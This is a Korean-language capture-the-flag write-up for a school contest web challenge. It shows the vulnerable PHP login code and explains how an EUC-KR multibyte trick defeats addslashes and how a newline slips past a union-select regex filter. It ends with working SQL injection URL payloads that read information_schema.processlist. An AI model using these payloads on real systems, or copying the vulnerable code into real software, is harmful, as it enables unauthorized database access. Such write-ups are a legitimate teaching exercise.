교내대회 Old school whitebox

<?php
error_reporting(0);
require_once 'config.php';

if(isset($_GET['username'], $_GET['password'])) {

    $username = addslashes($_GET['username']);
    $password = password($_GET['password']);
    $username = mb_convert_encoding($username ,'utf-8','euc-kr');

    if(preg_match('/union.*select/i', $username)) {
        die('<h3>(つ゚⊿゚)つ Hey Nope!</h3>');
    }

    $conn = mysqli_connect(__HOST__, __USER__, __PASS__, __NAME__) or die('server down');

    $query = "SELECT * FROM `users` WHERE `username`='{$username}' AND `password`='{$password}';";
    $result = mysqli_query($conn, $query);

    if($fetch = mysqli_fetch_assoc($result)) {
        echo '<h3>(๑→ܫ←) Hello, '.$fetch['username'].'</h3>';

        if($fetch['username'] == 'a' && $fetch['password'] == password('b')) {
            echo '<h1>(^Д^)プ Congrats-! '.__FLAG__.'</h1>';
        }
    }
    else {
        echo '<h3>(ヽ´ω`) Login failed.</h3>';
    }

}


show_source(__FILE__);
1. Bypass addslashes using Multibyte character

addslashes 함수를 거치면 ‘, “, \ 와 같은 문자앞에 백슬래시()가 붙게되어
quote escape가 불가능해지고 결과적으로 SQL Injection도 막힌다.
하지만 밑에서 mb_convert_encoding를 거치므로 멀티 바이트를 이용해 이를 우회할 수 있다.

mb_convert_encoding은 문자열의 언어셋을 다른 언어셋으로 변환, 인코딩해주는 함수다.
mb_convert_encoding 함수에 대한 자세한 설명은 php.net을 참고하자.

%27을 넣으면 %27앞에 백슬래시 %5c가 붙게된다. %27 –> %5c%27
그럼 %27앞에 %aa ~ %fe범위의 문자를 붙이면 %aa%27 –> %aa%5c%27 이렇게 될 것이다.

위에서 말했듯 mb_convert_encoding함수를 거치므로 %aa%5c가 하나의 문자로 인식되어
(하나의 문자)%27 이렇게 성공적으로 single quote escape가 되는 것이다.

php > var_dump(mb_convert_encoding(urldecode('%fb%5c'),'utf-8','euc-kr'));
string(1) "?"

php > var_dump(mb_convert_encoding(urldecode('%fc%5c'),'utf-8','euc-kr'));
string(1) "?"

php > var_dump(mb_convert_encoding(urldecode('%fd%5c'),'utf-8','euc-kr'));
string(1) "?"

php > var_dump(mb_convert_encoding(urldecode('%fe%5c'),'utf-8','euc-kr'));
string(1) "?"

%aa' => %aa\%27 => %aa%5c%27 => ?%27 => ?'
2. Bypass regular expression

union select 를 사용해서 테이블에 없는 값을 가져오려고 하니 정규식으로 필터링한다.

if(preg_match('/union.*select/i', $username)) {
    die('<h3>(つ゚⊿゚)つ Hey Nope!</h3>');
}

preg_match('/union.*select/i', $username)에서 정규식만 보자, union.*select
위 정규식에서 .*는 개행을 제외한 모든 문자를 의미한다.
즉, union%0aselect 와 같이 중간에 개행문자를 넣어준다면 preg_match에 걸리지 않고 해당 분기문을 우회할 수 있다.

3. information_schema.processlist table

여기서 문제는 password라는 함수가 config.php에 정의되어 있어서
어떤식으로 돌아가는지는 물론 b라는 값을 넣었을 때 어떤 결과가 나오는지 알 수 없다.
이때 information_schema에 있는 processlist 테이블을 가져와서
현재 실행중인 쿼리를 확인해 password함수에 b를 넣었을 때 나오는 값을 볼 수 있다.

Payload
/?username=%bf%27||0%20union%0aselect%20
(select%20info%20from%20information_schema.processlist),2%23&password=b

/?username=%bf%27||0%20union%0aselect%200x61,
0x6362656536326538643132373036316533383062366534623439346131313336386334366337
3062653662623436323932613165636663326361616635353465%23&password=b